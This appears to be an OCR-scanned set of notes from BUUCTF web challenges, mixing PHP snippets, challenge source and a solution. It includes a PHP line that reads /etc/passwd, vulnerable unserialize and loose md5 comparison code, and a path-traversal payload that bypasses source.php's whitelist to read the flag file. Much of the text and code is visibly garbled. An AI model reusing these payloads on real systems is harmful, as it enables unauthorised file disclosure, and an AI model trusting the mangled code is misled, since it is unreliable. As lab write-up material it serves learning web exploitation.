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<?php
VESS

* Created by PhpStorm.

* User: jinzhao

*x Date: 2019/10/2

*x Time: 10:55 PM

*/

echo "PHP{CHRSEE 4 HAY he_llo world \n'f;

'iidﬂtput = /éfc/pé;§deWMNE§".file_get_contehfé(hyéfé/passWd")."\h“,
echo $output; | | '

$function_name = "print_r";
$arg = "X2XEH T, \n";
$function_name($arg); //print_r($arg);

HTML E#iH A9 hello world.
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BUU CODE REVIEW 1

highlight file( FILE );

class BUU {
public $correct = "";

nn

public $input = ;

public function __ destruct() {
try {
$this->correct = base64_encode(uniqgid());
if ($this->correct === $this->input) {
echo file get contents("/flag");

}
} catch (Exception $e) {

if($_GET[ 'pleaseget'] === '1'
if ($§_POST[ 'pleasepost’']
if(md5($_POST[ 'md51']) == md5($ _POST[ 'md52']) && $ POST['md51'] != $ POST[ 'md52']) {
unserialize($ POST[ 'obj']);

}
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» BEFRIRMHL:

C ® A%% | view-source:6d9e4fd2-a4e0-44a7-bd0e-8665307b9ada.node2.buuoj.cn.wetolink.com:82

<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>

</head>

<body>
<!--source.php-->

O~NOOOLPA, WN =

<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>
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e ¥TFH /source.php:

[ 'source =>"source.php,
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;

}

if (in_array($page, $whitelist)) {
return true;

}

$_page = mb_substr(
$page,
0,
mb_strpos(s$page . '?', '?")
)i
if (in_array($_page, $whitelist)) {
return true;

}

$_page = urldecode($page);
$_page = mb_substr(
$_prage,
0,
mb_strpos($_page . '?', '?")
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;

}

if (! empty($_REQUEST[ 'file'])
&& is_string($_REQUEST[ 'file'])
&& emmm: :checkFile($_REQUEST[ 'file'])

e ) {
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e BJE hint.php ?

® 2> o q in ffffllllaaaagggo

* Payload:
http://764€9763-7¢01-4607-b877-

8288983edf35.node2 .buuoj.cn.wetolink.com:382/
source.php?file=hint.php?/../../../../../. /tif{llllaaaagggg

} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";

}

2> flag{f994825c-93fc-4f15-ab55-18b7c9208a4a}
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